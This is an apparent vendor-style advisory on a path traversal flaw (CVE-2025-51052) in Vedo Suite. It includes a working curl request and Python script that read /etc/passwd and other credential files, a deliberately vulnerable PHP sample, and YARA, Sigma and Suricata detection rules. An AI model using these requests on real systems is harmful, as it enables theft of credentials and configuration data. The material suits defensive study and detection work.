CVE-2025-51052

Executive Summary

CVE-2025-51052 is a path traversal vulnerability discovered in Vedo Suite 2024.17. The flaw resides in the /api_vedo/template endpoint, where an unsanitized file_get_contents() function call allows remote authenticated attackers to read arbitrary filesystem files. This vulnerability can lead to unauthorized disclosure of sensitive data, including configuration files, credentials, and other critical assets. No patch is currently available, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for affected deployments.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Authentication is required, but low-privileged users can exploit.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Arbitrary file read can expose sensitive data.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 6.5 (Medium)

Threat Level: Medium. While the impact on confidentiality is high, the requirement for authentication and the lack of public exploits reduce the immediate threat. However, the absence of a patch makes it a persistent risk.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the /api_vedo/template endpoint of Vedo Suite 2024.17. The application uses the PHP function file_get_contents() to read template files based on user-supplied input. The input is not sanitized or validated, allowing an attacker to inject path traversal sequences (e.g., ../) to navigate outside the intended template directory.

Attack Flow:

1. An authenticated attacker sends a crafted HTTP request to /api_vedo/template with a file parameter containing path traversal sequences.
2. The application passes this input directly to file_get_contents() without sanitization.
3. The function reads the specified file from the filesystem and returns its contents in the HTTP response.
4. The attacker can read sensitive files such as /etc/passwd, application configuration files, or database credentials.

Root Cause: The lack of input validation and the absence of a whitelist for allowed file paths. The file_get_contents() function should only operate within a restricted directory, and user input should be sanitized to remove path traversal sequences.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
// Vulnerable endpoint: /api_vedo/template
$file = $_GET['file'];
$content = file_get_contents($file);
echo $content;
?>

Patched Code (PHP):

<?php
// Patched endpoint: /api_vedo/template
$allowed_dir = '/var/www/templates/';
$file = basename($_GET['file']);
$file_path = $allowed_dir . $file;
if (strpos(realpath($file_path), realpath($allowed_dir)) === 0 && file_exists($file_path)) {
    $content = file_get_contents($file_path);
    echo $content;
} else {
    http_response_code(403);
    echo 'Access denied.';
}
?>

Explanation: The patched code uses basename() to strip directory traversal sequences, restricts file access to a specific directory ($allowed_dir), and validates that the resolved path is within the allowed directory using realpath().

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install Vedo Suite 2024.17 on a local server (e.g., Ubuntu 22.04 with Apache and PHP).
• Ensure the /api_vedo/template endpoint is accessible.
• Create a low-privileged user account for authentication.

Exploitation Steps:

1. Authenticate to the Vedo Suite application and obtain a session token or cookie.
2. Craft a request to read /etc/passwd:

   curl -X GET "http://target.com/api_vedo/template?file=../../../../etc/passwd" -H "Cookie: session=valid_session_token"
   

3. If successful, the response will contain the contents of /etc/passwd.
4. Attempt to read other sensitive files, such as:
   • /var/www/html/config.php (application configuration)
   • /etc/nginx/nginx.conf (web server configuration)
   • /proc/self/environ (environment variables)

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()
session.cookies.set("session", "valid_session_token")

payload = "../../../../etc/passwd"
url = f"{target}/api_vedo/template?file={payload}"
response = session.get(url)

if response.status_code == 200 and "root:" in response.text:
    print("[+] File read successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /api_vedo/template for path traversal patterns (e.g., ../, %2e%2e%2f).
• Alert on unusual file read attempts (e.g., reading /etc/passwd or configuration files).
• Use Web Application Firewall (WAF) rules to block path traversal payloads.

Mitigation:

• Apply the patched code as shown above.
• Restrict file read operations to a specific directory using realpath() and basename().
• Implement input validation to reject any input containing ../ or similar sequences.
• Use a whitelist of allowed file names or extensions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /api_vedo/template with file parameter containing ../ or %2e%2e%2f.
  • Outbound responses containing sensitive file contents (e.g., /etc/passwd, config.php).
• File System IOCs:
  • Unexpected access to files outside the template directory in web server logs.
  • Presence of suspicious files or scripts in the web root.
• Log IOCs:
  • Web server access logs showing requests like:

    GET /api_vedo/template?file=../../../../etc/passwd HTTP/1.1
    

  • Application error logs indicating failed file reads or permission denied errors.

Detection Engineering

YARA Rule

rule CVE_2025_51052_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2025-51052 in Vedo Suite"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51052"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/ nocase
        $endpoint = "/api_vedo/template" nocase
    condition:
        $endpoint and $path_traversal
}

Sigma Rule

title: CVE-2025-51052 Path Traversal Attempt
id: 8f4a2b1c-3d5e-4f7a-9b8c-1d2e3f4a5b6c
status: experimental
description: Detects path traversal attempts targeting the /api_vedo/template endpoint in Vedo Suite
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-51052
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "/api_vedo/template"
            - "file="
            - "../"
            - "..\\"
            - "%2e%2e%2f"
            - "%2e%2e%5c"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in template names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51052 Path Traversal Attempt"; flow:to_server; content:"/api_vedo/template"; http_uri; content:"file="; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: If possible, disconnect Vedo Suite from the network or restrict access to trusted IPs only.
2. Apply Virtual Patching: Use a WAF to block path traversal payloads targeting /api_vedo/template.
3. Monitor Logs: Review web server and application logs for signs of exploitation.

Long-Term Fix:

• Patch: Apply the patched code provided in the "Vulnerable vs. Patched Code" section. Since no official patch is available, this must be done manually.
• Upgrade: Monitor the vendor (Vedo) for an official update and apply it as soon as it is released.
• Code Review: Conduct a security audit of the entire application to identify similar vulnerabilities.

Workarounds:

• Disable the /api_vedo/template endpoint if not essential.
• Implement filesystem permissions to restrict the web server user's access to sensitive files.

Valters IT
Securing Digital Frontiers